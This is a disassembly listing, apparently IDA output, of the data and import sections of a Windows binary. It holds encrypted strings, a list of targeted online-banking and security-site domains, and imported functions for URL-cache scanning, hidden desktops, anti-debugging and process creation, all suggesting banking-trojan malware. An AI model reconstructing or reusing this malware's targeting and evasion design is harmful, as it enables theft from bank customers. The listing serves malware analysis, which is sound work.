aIS_1 db '›ÅÈÃÞ™',0 ; DATA XREF: sub_4056EE+244o aIiS db '›ˆÏÂÆÃ™',0 ; DATA XREF: sub_4056EE+221o aMicrosoftCorp db 'MicroSoft-Corp',0 ; DATA XREF: sub_4056EE+1E7o ; sub_4063A9+2A9o aISvVIiS db '›ÓÎÓË™‚Ô‚Ò›ˆÓÎÓË™',0 ; DATA XREF: sub_4056EE+1D7o aIS_0 db '›ÏÂÆÃ™',0 ; DATA XREF: sub_4056EE+1B4o aIS db '›ÏÓÊË™',0 ; DATA XREF: sub_4056EE+191o aI db '‰ÏÓÊ',0 ; DATA XREF: sub_4056EE+150o aVVV db '‚Ô‚Ä‚Ä',0 ; DATA XREF: sub_405600+86o ; sub_4056EE+424o aNin db '‰',0 ; DATA XREF: sub_405409+ACo aS db '˜',0 ; DATA XREF: sub_405409+4Ao aBi db '‰ÀÙ',0 ; DATA XREF: sub_40507F+14Do aI_2 db '‰ÀÙ',0 ; DATA XREF: sub_40507F+F7o aIUIUIUIUIUIU db 'œÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ',0 ; DATA XREF: sub_40507F+8Ao byte_44630B db 0FFh ; DATA XREF: sub_40507F+55o aBiB db '‰ÀÙ',0 aRgT_3 db 'ƒÏÉÂØÉÞ’',0 ; DATA XREF: sub_404DE3+1BEo aRT_0 db 'ÏÉÂØÉÞ’',0 ; DATA XREF: sub_404DE3+191o aRgT_2 db 'ƒÊÃÂØ’',0 ; DATA XREF: sub_404DE3+157o aRgT_1 db 'ƒÙ’',0 ; DATA XREF: sub_404DE3+12Ao aRgT_0 db 'ƒÎ’',0 ; DATA XREF: sub_404DE3+FDo aRgT db 'ƒÅ’',0 ; DATA XREF: sub_404DE3+C2o aRT_1 db 'Å’',0 ; DATA XREF: sub_404DE3+95o aRT_3 db 'Ù’',0 ; DATA XREF: sub_404DE3+50o aRT_4 db 'Î’',0 ; DATA XREF: sub_404DE3+23o aRT db 'ÎÞ’',0 ; DATA XREF: sub_404D49+95o aBbtm db '’Œ',0 ; DATA XREF: sub_404BA0+97o aRnbbm db 'Œ',0 ; DATA XREF: sub_404A6B+6Bo aBj db '¡¦',0 ; DATA XREF: sub_40479E+2B4o ; sub_404DE3+1EBo aGgiIIBj db 'ƒƒ‰Ï‰Ï‰Ï¡¦',0 ; DATA XREF: sub_40479E+20Do aMiIIMsmiC db 'ÚÍÞŒ‰Ï‰Ï‰ÏŒ‘Œ‰Ù—',0 ; DATA XREF: sub_40479E+11Eo aMjg db 'Œ†ƒ',0 ; DATA XREF: sub_40479E+E4o aII db '‰ß‰Ï',0 ; DATA XREF: sub_40479E+7Ao ; sub_404BA0-91o ... aGjm db 'ƒ†Œ',0 ; DATA XREF: sub_40479E+44o aBlind_user db 'blind_user',0 ; DATA XREF: sub_404602+6Eo ; sub_4046BD+Bo byte_44638F db 96h ; DATA XREF: sub_4042A4+28Co dd 0F09C93C0h, 0C09693h dword_446398 dd 0DCDCDF89h, 0F3B9BEC3h, 93DFD6D7h, 0DD8DC096h, 0B9BEDFC6h ; DATA XREF: sub_4042A4+20Co dd 93D5DAF3h, 0C0DACBD6h, 0C09693C7h, 0C7DCD493h, 0DCDF93DCh dd 0B9BEC3DCh, 0DFD6D7F3h, 8DC09693h, 0BEDFC6DDh db 0B9h, 0 aQA_0 db 'ïÐÜÞÞÒÝ×ÐÜÞ',0 ; DATA XREF: sub_4042A4+19Fo aCQA_1 db '–ÀïÐÜÞÞÒÝ×ÃÚÕ',0 ; DATA XREF: sub_4042A4+171o aCQKA db '–ÀïËÀßÕ×ߊËÑÒÇ',0 ; DATA XREF: sub_4042A4+14Co aQA db 'ïÐÞ×ÖËÖ',0 ; DATA XREF: sub_4042A4+FCo aCQA_0 db '–ÀïÐÞ×ÃÚÕ',0 ; DATA XREF: sub_4042A4+DCo aCQA db '–ÀïËÀßÕ×ßÝÇÑÒÇ',0 ; DATA XREF: sub_4042A4+BCo aAhzyoKrcgmAAhz db ']ahzyo|kRCgm|a}ahzRYg`jay}RM{||k`zXk|}ga`R]fkbb]k|xgmkAldkmzJkbow' ; DATA XREF: sub_40409C+78o db 'Baoj',0 aOOZckZ db 'O~o|zck`z',0 ; DATA XREF: sub_40409C+45o aZfKojgIcajkb db 'Zf|kojg`iCajkb',0 ; DATA XREF: sub_40409C+33o byte_446481 db 0 ; DATA XREF: sub_40409C+7o ; sub_406081+2D6o ... aMbGjrRgAmKXk db 'MB]GJR+}RG`^|am]k|xk|=<',0 ; DATA XREF: sub_40403C+28o aRJbb db '+}R+} jbb',0 ; DATA XREF: sub_403D6F+23Ao aUVVVVVVVVs db 'u+>:V+>:V#+>:V#+>:V#+>:V#+>:V+>:V+>:Vs',0 ; DATA XREF: sub_403D6F+3Eo a_ db '.',0 ; DATA XREF: sub_403BAD+15Do aRKvk db '+}R+} kvk',0 ; DATA XREF: sub_403BAD+6Eo a6v db '+>6V',0 ; DATA XREF: sub_403AC7+8Ao aBi_0: ; DATA XREF: sub_4038D6+34o ; .text:004039A1o ... unicode 0, <¡›> byte_4464E0 db 0FBh, 0 ; DATA XREF: sub_4036DA+BCo word_4464E2 dw 0E09Ch ; DATA XREF: sub_40352B+4Fo ; sub_4035A9+38o db 0 aChevychasebank db 'chevychasebank.com',0 ; DATA XREF: .data:0043B1D4o aGronxplanets_r db 'gronxplanets.ru',0 ; DATA XREF: .data:0043B1D0o aWww_mdmbank_ru db 'www.mdmbank.ru',0 ; DATA XREF: .data:0043B1CCo aFethard_biz db 'fethard.biz',0 ; DATA XREF: .data:0043B1C8o aRoyalbank_com db 'royalbank.com',0 ; DATA XREF: .data:0043B1C4o aSecuritylab_ru db 'securitylab.ru',0 ; DATA XREF: .data:0043B1C0o aTatNeftbank_ru db 'tat-neftbank.ru',0 ; DATA XREF: .data:0043B1BCo aSeclab_ru db 'seclab.ru',0 ; DATA XREF: .data:0043B1B8o aOpenbank_com db 'openbank.com',0 ; DATA XREF: .data:0043B1B4o aGutabank_ru db 'gutabank.ru',0 ; DATA XREF: .data:0043B1B0o aWww_b2bTrust_c db 'www.b2b-trust.com',0 ; DATA XREF: .data:0043B1ACo aGrepwareFacili db 'grepware-facility.ru',0 ; DATA XREF: .data:0043B1A8o aWww_uralsib_ru db 'www.uralsib.ru',0 ; DATA XREF: .data:0043B1A4o a53bank_com db '53bank.com',0 ; DATA XREF: .data:0043B1A0o aWww_nbc_caInde db 'www.nbc.ca/index.php',0 ; DATA XREF: .data:0043B19Co aTotallyfreeban db 'totallyfreebanking.com',0 ; DATA XREF: .data:0043B198o aBarclays_com db 'barclays.com',0 ; DATA XREF: .data:0043B194o aWww_lbcdirect_ db 'www.lbcdirect.laurentianbank.ca/index.php',0 ; DATA XREF: .data:0043B190o aKidosBank_ru db 'kidos-bank.ru',0 ; DATA XREF: .data:0043B18Co aYambo_biz db 'yambo.biz',0 ; DATA XREF: .data:0043B188o aProrat_net db 'prorat.net',0 ; DATA XREF: .data:0043B184o aWww1_hsbc_caIn db 'www1.hsbc.ca/index.php',0 ; DATA XREF: .data:0043B180o aWww_ovk_ru db 'www.ovk.ru',0 ; DATA XREF: .data:0043B17Co aWww_rbc_com db 'www.rbc.com',0 ; DATA XREF: .data:0043B178o aMasterX_comFor db 'master-x.com/forum/',0 ; DATA XREF: .data:0043B174o aWww_allahabadb db 'www.allahabadbank.com',0 ; DATA XREF: .data:0043B170o aOnlineBusiness db 'online-business.lloydstsb.co.uk',0 ; DATA XREF: .data:0043B16Co aMyonlineaccoun db 'myonlineaccounts2.abbeynational.co.uk',0 ; DATA XREF: .data:0043B168o aWww_absolutban db 'www.absolutbank.ru',0 ; DATA XREF: .data:0043B164o aWww_nomos_ru db 'www.nomos.ru',0 ; DATA XREF: .data:0043B160o aWww_netmagiste db 'www.netmagister.com',0 ; DATA XREF: .data:0043B15Co aWww_kmb_ru db 'www.kmb.ru',0 ; DATA XREF: .data:0043B158o aWww_spyinstruc db 'www.spyinstructors.com',0 ; DATA XREF: .data:0043B154o aAcroleinHawk_r db 'acrolein-hawk.rubanking.halifax-online.co.uk',0 ; DATA XREF: .data:0043B150o aWww_icbank_ru db 'www.icbank.ru',0 ; DATA XREF: .data:0043B14Co aWww_bankofindi db 'www.bankofindia.com',0 ; DATA XREF: .data:0043B148o aPizdabolInc_ru db 'pizdabol-inc.ru',0 ; DATA XREF: .data:0043B144o aWww_sbrf_ru db 'www.sbrf.ru',0 ; DATA XREF: .data:0043B140o aWww_candidatev db 'www.candidateverifier.com/index.php',0 ; DATA XREF: .data:0043B13Co aWww_worldbank_ db 'www.worldbank.org/index.php',0 ; DATA XREF: .data:0043B138o aDigitalRelaxkg db 'digital-relaxkgb.ru',0 ; DATA XREF: .data:0043B134o aAsmworm_com db 'asmworm.com',0 ; DATA XREF: .data:0043B12Co aCrutop_nuVbu_1 db 'crutop.nu/vbulletin/showthread.php',0 ; DATA XREF: .data:0043B124o aWww_uniastrum_ db 'www.uniastrum.ru',0 ; DATA XREF: .data:0043B120o aCrutop_nuVbu_0 db 'crutop.nu/vbulletin/forumdisplay.php',0 ; DATA XREF: .data:0043B11Co aWww_mmbank_ru db 'www.mmbank.ru',0 ; DATA XREF: .data:0043B118o aCrutop_nuVbull db 'crutop.nu/vbulletin/',0 ; DATA XREF: .data:0043B114o aAlfabank_ru db 'alfabank.ru',0 ; DATA XREF: .data:0043B110o aHyperSpaceFuel db 'hyper-space-fuel.ru',0 ; DATA XREF: .data:0043B10Co aWww_cwbank_com db 'www.cwbank.com',0 ; DATA XREF: .data:0043B108o aWww_vtb_ru db 'www.vtb.ru',0 ; DATA XREF: .data:0043B104o aWww_cibc_com db 'www.cibc.com',0 ; DATA XREF: .data:0043B100o aWww_bankofmadu db 'www.bankofmadura.com',0 ; DATA XREF: .data:0043B0FCo aWww_bmo_com db 'www.bmo.com',0 ; DATA XREF: .data:0043B0F8o aWww_bankBanque db 'www.bank-banque-canada.ca/index.php',0 ; DATA XREF: .data:0043B0F4o aWww_masterbank db 'www.masterbank.ru',0 ; DATA XREF: .data:0043B0F0o aEbookfinaltras db 'ebookfinaltrash.ru',0 ; DATA XREF: .data:0043B0ECo aMasterX_com db 'master-x.com',0 ; DATA XREF: .data:0043B0E8o aWww_bbin_ru db 'www.bbin.ru',0 ; DATA XREF: .data:0043B0E4o aOlb2_nationet_ db 'olb2.nationet.com',0 ; DATA XREF: .data:0043B0E0o aWelcome3_smile db 'welcome3.smile.co.uk',0 ; DATA XREF: .data:0043B0DCo aWww_baltbank_r db 'www.baltbank.ru',0 ; DATA XREF: .data:0043B0D8o aNew_egg_com db 'new.egg.com',0 ; DATA XREF: .data:0043B0D4o aProdexteam_n_1 db 'prodexteam.netcrutop.nu',0 ; DATA XREF: .data:0043B0D0o aWww_proxySocks db 'www.proxy-socks.net',0 ; DATA XREF: .data:0043B0CCo ; .data:0043B130o aWww_cbr_ru db 'www.cbr.ru',0 ; DATA XREF: .data:0043B0C8o aProdexteam_n_0 db 'prodexteam.net/main.htm',0 ; DATA XREF: .data:0043B0C4o aProdexteam_net db 'prodexteam.net',0 ; DATA XREF: .data:0043B0C0o aAtmacasoft_com db 'atmacasoft.com',0 ; DATA XREF: .data:0043B0BCo ; .data:0043B128o aSiliconfirewar db 'siliconfireware.ru',0 ; DATA XREF: .data:off_43B0B8o align 4 dword_446A04 dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_446A14 dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_406E3F+97Bo dword_446A24 dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_446A34 dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_446A44 dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_446A54 dd 2 dup(0) dd 0C0h, 46000000h dword_446A64 dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fhdword_446A74 dd 10h dup(0) ; sub_40B73C:loc_40B756o ... dword_446AB4 dd 0 ; sub_40B6E0:loc_40B722o ... dd 0Fh dup(0) dword_446AF4 dd 0 ; sub_40B845+825r dword_446AF8 dd 0 ; sub_40B845+82Cr dword_446AFC dd 0 ; sub_40B845+834r dword_446B00 dd 0 ; sub_40B845+83Cr align 800h _data ends ; Section 4. (virtual address 00047000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00047000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata segment para public 'DATA' use32 assume cs:_idata ;org 447000h off_447000 dd offset dword_44710C ; DATA XREF: .idata:00447E00o dd 2 dup(0) dd offset dword_44710C dd offset dword_44710C off_447014 dd offset dword_44711C ; DATA XREF: .idata:00447E10o ; .idata:00447E14o align 10h dd offset dword_44711C dd offset dword_44711C off_447028 dd offset dword_447134 ; DATA XREF: .idata:00447E24o ; .idata:00447E28o ... dd 2 dup(0) dd offset dword_447134 dd offset dword_447134 off_44703C dd offset dword_447214 ; DATA XREF: .idata:00447E44o ; .idata:00447E48o ... dd 2 dup(0) dd offset dword_447214 dd offset dword_447214 off_447050 dd offset dword_447290 ; DATA XREF: .idata:00447F28o ; .idata:00447F2Co ... dd 2 dup(0) dd offset dword_447290 dd offset dword_447290 off_447064 dd offset dword_4472AC ; DATA XREF: .idata:00447FA8o ; .idata:00447FACo ... align 10h dd offset dword_4472AC dd offset dword_4472AC off_447078 dd offset dword_4472E8 ; DATA XREF: .idata:00447FCCo ; .idata:00447FD0o ... dd 2 dup(0) dd offset dword_4472E8 dd offset dword_4472E8 off_44708C dd offset dword_447338 ; DATA XREF: .idata:0044800Co ; .idata:00448010o ... dd 2 dup(0) dd offset dword_447338 dd offset dword_447338 dd 1Ah dup(0) dd 47574h dword_44710C dd 2 dup(0) ; .idata:0044700Co ... dd 47588h, 475A4h dword_44711C dd 2 dup(0) ; .idata:00447020o ... dd 475C0h, 475D4h, 475E8h, 475F8h dword_447134 dd 2 dup(0) ; .idata:00447034o ... dd 4760Ch, 4761Ch, 47638h, 4764Ch, 47664h, 4767Ch, 4768Ch dd 4769Ch, 476ACh, 476C4h, 476D8h, 476E8h, 476FCh, 47710h dd 47728h, 47738h, 47748h, 47758h, 47768h, 47780h, 47798h dd 477ACh, 477C0h, 477D4h, 477ECh, 477F8h, 47810h, 47820h dd 47830h, 47844h, 47854h, 47864h, 47870h, 47880h, 47890h dd 478A0h, 478ACh, 478B8h, 478C8h, 478DCh, 478ECh, 478FCh dd 47904h, 47918h, 47928h, 47938h, 47948h, 4795Ch, 47974h dd 47980h, 4798Ch, 47998h, 479A4h, 479B4h dword_447214 dd 2 dup(0) ; .idata:00447048o ... dd 479C4h, 479D8h, 479E8h, 479F8h, 47A04h, 47A14h, 47A20h dd 47A38h, 47A48h, 47A54h, 47A60h, 47A74h, 47A84h, 47A94h dd 47AA8h, 47ABCh, 47AD0h, 47AE4h, 47AF8h, 47B0Ch, 47B20h dd 47B30h, 47B3Ch, 47B50h, 47B60h, 47B74h, 47B84h, 47B94h dd 47BA8h dword_447290 dd 2 dup(0) ; .idata:0044705Co ... dd 47BBCh, 47BD0h, 47BE0h, 47BF0h, 47C08h dword_4472AC dd 2 dup(0) ; .idata:00447070o ... dd 47C18h, 47C2Ch, 47C44h, 47C58h, 47C68h, 47C78h, 47C8Ch dd 47CA0h, 47CB4h, 47CC8h, 47CDCh, 47CF8h, 47D10h dword_4472E8 dd 2 dup(0) ; .idata:00447084o ... dd 47D2Ch, 47D34h, 47D44h, 47D50h, 47D5Ch, 47D64h, 47D6Ch dd 47D78h, 47D84h, 47D90h, 47D98h, 47DA0h, 47DACh, 47DB8h dd 47DC0h, 47DCCh, 47DD8h, 47DE4h dword_447338 dd 2 dup(0) ; .idata:00447098o ... dword_447340 dd 77124C05h dd 2 dup(0) dword_44734C dd 42C2DE3Dh ; resolved to->WININET.FindFirstUrlCacheEntryAdword_447350 dd 42C2E399h ; resolved to->WININET.FindNextUrlCacheEntryA dd 2 dup(0) dword_44735C dd 774FFAC3h dword_447360 dd 7750CB9Ch dword_447364 dd 77502A37h dword_447368 dd 774FEE36h dd 2 dup(0) dword_447374 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_447378 dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_44737C dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_447380 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_447384 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadIddword_447388 dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_44738C dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_447390 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_447394 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_447398 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_44739C dd 7C809B47h ; resolved to->KERNEL32.CloseHandledword_4473A0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4473A4 dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeapdword_4473A8 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryAdword_4473AC dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathAdword_4473B0 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_4473B4 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4473B8 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_4473BC dd 7C821BA5h ; resolved to->KERNEL32.GetVolumeInformationAdword_4473C0 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryAdword_4473C4 dd 7C8360A9h ; resolved to->KERNEL32.GlobalAddAtomAdword_4473C8 dd 7C830BBBh ; resolved to->KERNEL32.GlobalDeleteAtomdword_4473CC dd 7C8360C3h ; resolved to->KERNEL32.GlobalFindAtomAdword_4473D0 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_4473D4 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_4473D8 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrementdword_4473DC dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtrdword_4473E0 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtrdword_4473E4 dd 7C813093h ; resolved to->KERNEL32.IsDebuggerPresentdword_4473E8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_4473EC dd 7C80998Dh ; resolved to->KERNEL32.LocalAllocdword_4473F0 dd 7C80992Fh ; resolved to->KERNEL32.LocalFreedword_4473F4 dd 7C80EA1Bh ; resolved to->KERNEL32.OpenMutexAdword_4473F8 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcessdword_4473FC dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_447400 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_447404 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_447408 dd 7C90311Bh ; resolved to->NTDLL.RtlZeroMemorydword_44740C dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointerdword_447410 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_447414 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_447418 dd 7C802442h ; resolved to->KERNEL32.Sleepdword_44741C dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_447420 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_447424 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_447428 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuerydword_44742C dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_447430 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiBytedword_447434 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_447438 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_44743C dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenAdword_447440 dd 7C809A09h ; resolved to->KERNEL32.lstrlenWdword_447444 dd 7C810637h ; resolved to->KERNEL32.CreateThreaddword_447448 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA dd 2 dup(0) dword_447454 dd 7E43212Bh ; resolved to->USER32.GetWindowTextAdword_447458 dd 7E41B6D4h ; resolved to->USER32.GetWindowRectdword_44745C dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_447460 dd 7E41BC7Dh ; resolved to->USER32.GetWindowdword_447464 dd 7E42F420h ; resolved to->USER32.GetClassNameAdword_447468 dd 7E41DA60h ; resolved to->USER32.SetFocusdword_44746C dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_447470 dd 7E41EF69h ; resolved to->USER32.LoadCursorAdword_447474 dd 7E4208CEh ; resolved to->USER32.LoadIconAdword_447478 dd 7E418C2Eh ; resolved to->USER32.SetTimerdword_44747C dd 7E420A36h ; resolved to->USER32.RegisterClassAdword_447480 dd 7E45058Ah ; resolved to->USER32.MessageBoxAdword_447484 dd 7E42E002h ; resolved to->USER32.GetMessageAdword_447488 dd 7E41945Dh ; resolved to->USER32.GetWindowLongAdword_44748C dd 7E41D60Dh ; resolved to->USER32.SetWindowLongAdword_447490 dd 7E455BD7h ; resolved to->USER32.CreateDesktopAdword_447494 dd 7E42E8D1h ; resolved to->USER32.SetThreadDesktopdword_447498 dd 7E419A51h ; resolved to->USER32.GetThreadDesktopdword_44749C dd 7E418BF6h ; resolved to->USER32.TranslateMessagedword_4474A0 dd 7E4196B8h ; resolved to->USER32.DispatchMessageAdword_4474A4 dd 7E42F383h ; resolved to->USER32.SendMessageAdword_4474A8 dd 7E41A8ADh ; resolved to->USER32.wsprintfAdword_4474AC dd 7E42E1D1h ; resolved to->USER32.PostQuitMessagedword_4474B0 dd 7E41D8A4h ; resolved to->USER32.ShowWindowdword_4474B4 dd 7E41FF33h ; resolved to->USER32.CreateWindowExAdword_4474B8 dd 7E41DAEAh ; resolved to->USER32.DestroyWindowdword_4474BC dd 7E41DBECh ; resolved to->USER32.MoveWindowdword_4474C0 dd 7E41D4EEh ; resolved to->USER32.DefWindowProcAdword_4474C4 dd 7E41F642h ; resolved to->USER32.CallWindowProcA align 10h dword_4474D0 dd 77F161D1h ; resolved to->GDI32.GetStockObjectdword_4474D4 dd 77F15E39h ; resolved to->GDI32.SetBkColordword_4474D8 dd 77F15D87h ; resolved to->GDI32.SetTextColordword_4474DC dd 77F1D991h ; resolved to->GDI32.CreateBrushIndirectdword_4474E0 dd 77F3B730h ; resolved to->GDI32.CreateFontA dd 2 dup(0) dword_4474EC dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessTokendword_4474F0 dd 77DD7B76h ; resolved to->ADVAPI32.GetTokenInformationdword_4474F4 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_4474F8 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKeydword_4474FC dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExAdword_447500 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_447504 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_447508 dd 77DF08D5h ; resolved to->ADVAPI32.GetSecurityInfodword_44750C dd 77DF087Fh ; resolved to->ADVAPI32.SetSecurityInfodword_447510 dd 77E215D9h ; resolved to->ADVAPI32.SetEntriesInAclAdword_447514 dd 77DFD4B0h ; resolved to->ADVAPI32.GetSidIdentifierAuthoritydword_447518 dd 77DF9839h ; resolved to->ADVAPI32.GetSidSubAuthoritydword_44751C dd 77DF986Bh ; resolved to->ADVAPI32.GetSidSubAuthorityCount dd 2 dup(0) dword_447528 dd 73D96FEBh dword_44752C dd 73D91C28h dword_447530 dd 73D92B86h dword_447534 dd 73D9A3B0h dword_447538 dd 73D9B9A2h dword_44753C dd 73D91F60h dword_447540 dd 73D9D320h dword_447544 dd 73D9D340h dword_447548 dd 73D9D5E0h dword_44754C dd 73D9242Ch dword_447550 dd 73D9DBAFh dword_447554 dd 73D92226h dword_447558 dd 73D9E5C5h dword_44755C dd 73D9DBA2h dword_447560 dd 73D9E61Eh dword_447564 dd 73D9E65Ch dword_447568 dd 73D9E69Ch dword_44756C dd 73D9F24Ch dd 0 dd 79530046h, 6C6C4173h, 7453636Fh, 676E6972h, 0 dd 69460015h, 6946646Eh, 55747372h, 61436C72h, 45656863h dd 7972746Eh, 41h, 6946001Ch, 654E646Eh, 72557478h, 6361436Ch dd 6E456568h, 41797274h, 0 dd 6F43006Ah, 61657243h, 6E496574h, 6E617473h, 6563h, 4C43007Ch dd 46444953h, 536D6F72h, 6E697274h, 67h, 6F430058h, 74696E49h dd 696C6169h, 657Ah, 6F43005Bh, 6E696E55h, 61697469h, 657A696Ch dd 0 dd 78450081h, 72507469h, 7365636Fh, 73h, 78450083h, 646E6170h dd 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h, 417367h dd 654700CAh, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 654700DEh dd 72754374h, 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h dd 72754374h, 746E6572h, 65726854h, 64496461h, 0 dd 654700F8h, 6C694674h, 7A695365h, 65h, 654700FAh, 6C694674h dd 6D695465h, 65h, 65470100h, 73614C74h, 72724574h, 726Fh dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h dd 0 dd 6547010Ch, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6C43001Bh dd 4865736Fh, 6C646E61h, 65h, 65470122h, 6F725074h, 64644163h dd 73736572h, 0 dd 65470124h, 6F725074h, 73736563h, 70616548h, 0 dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h dd 41h, 6547014Dh, 6D655474h, 74615070h, 4168h, 65470155h dd 63695474h, 756F436Bh, 746Eh, 6547015Ch, 72655674h, 6E6F6973h dd 0 dd 6547015Dh, 72655674h, 6E6F6973h, 417845h, 6547015Fh dd 6C6F5674h, 49656D75h, 726F666Eh, 6974616Dh, 416E6Fh dd 65470165h, 6E695774h, 73776F64h, 65726944h, 726F7463h dd 4179h, 6C470168h, 6C61626Fh, 41646441h, 416D6F74h, 0 dd 6C47016Ch, 6C61626Fh, 656C6544h, 74416574h, 6D6Fh, 6C47016Dh dd 6C61626Fh, 646E6946h, 6D6F7441h, 41h, 6C470176h, 6C61626Fh dd 6F6D654Dh, 74537972h, 73757461h, 0 dd 6F430025h, 69467970h, 41656Ch, 6E490194h, 6C726574h dd 656B636Fh, 636E4964h, 656D6572h, 746Eh, 73490198h, 52646142h dd 50646165h, 7274h, 7349019Bh, 57646142h, 65746972h, 727450h dd 7349019Eh, 75626544h, 72656767h, 73657250h, 746E65h dd 6F4C01A7h, 694C6461h, 72617262h, 4179h, 6F4C01ADh, 416C6163h dd 636F6C6Ch, 0 dd 6F4C01B1h, 466C6163h, 656572h, 704F01D2h, 754D6E65h dd 41786574h, 0 dd 704F01D4h, 72506E65h, 7365636Fh, 73h, 72430031h, 65746165h dd 656C6946h, 41h, 655201FAh, 69466461h, 656Ch, 7452020Eh dd 776E556Ch, 646E69h, 7452020Fh, 72655A6Ch, 6D654D6Fh dd 79726Fh, 6553023Ah, 6C694674h, 696F5065h, 7265746Eh dd 0 dd 6553023Ch, 6C694674h, 6D695465h, 65h, 7243003Ch, 65746165h dd 6574754Dh, 4178h, 6C530264h, 706565h, 6554026Ch, 6E696D72h dd 50657461h, 65636F72h, 7373h, 69560285h, 61757472h, 6C6C416Ch dd 636Fh, 69560287h, 61757472h, 6572466Ch, 65h, 6956028Ch dd 61757472h, 6575516Ch, 7972h, 72430041h, 65746165h, 636F7250h dd 41737365h, 0 dd 69570297h, 68436564h, 6F547261h, 746C754Dh, 74794269h dd 65h, 69570298h, 6578456Eh, 63h, 725702A2h, 46657469h dd 656C69h, 736C02C9h, 656C7274h, 416Eh, 736C02CAh, 656C7274h dd 576Eh, 72430047h, 65746165h, 65726854h, 6461h, 65440054h dd 6574656Ch, 656C6946h, 41h, 65470066h, 6E695774h, 54776F64h dd 41747865h, 0 dd 6547006Bh, 6E695774h, 52776F64h, 746365h, 69460070h dd 6957646Eh, 776F646Eh, 41h, 65470074h, 6E695774h, 776F64h dd 6547000Eh, 616C4374h, 614E7373h, 41656Dh, 655300C4h dd 636F4674h, 7375h, 654700C9h, 726F4674h, 6F726765h, 57646E75h dd 6F646E69h, 77h, 6F4C0016h, 75436461h, 726F7372h, 41h dd 6F4C0018h, 63496461h, 416E6Fh, 655300FEh, 6D695474h dd 7265h, 65520002h, 74736967h, 6C437265h, 41737361h, 0 dd 654D0134h, 67617373h, 786F4265h, 41h, 65470020h, 73654D74h dd 65676173h, 41h, 65470159h, 6E695774h, 4C776F64h, 41676E6Fh dd 0 dd 6553015Bh, 6E695774h, 4C776F64h, 41676E6Fh, 0 dd 7243015Eh, 65746165h, 6B736544h, 41706F74h, 0 dd 65530165h, 72685474h, 44646165h, 746B7365h, 706Fh, 65470166h dd 72685474h, 44646165h, 746B7365h, 706Fh, 72540024h, 6C736E61h dd 4D657461h, 61737365h, 6567h, 69440025h, 74617073h, 654D6863h dd 67617373h, 4165h, 65530030h, 654D646Eh, 67617373h, 4165h dd 737701EAh, 6E697270h, 416674h, 6F50003Dh, 75517473h dd 654D7469h, 67617373h, 65h, 6853004Bh, 6957776Fh, 776F646Eh dd 0 dd 7243004Fh, 65746165h, 646E6957h, 7845776Fh, 41h, 65440051h dd 6F727473h, 6E695779h, 776F64h, 6F4D0056h, 69576576h dd 776F646Eh, 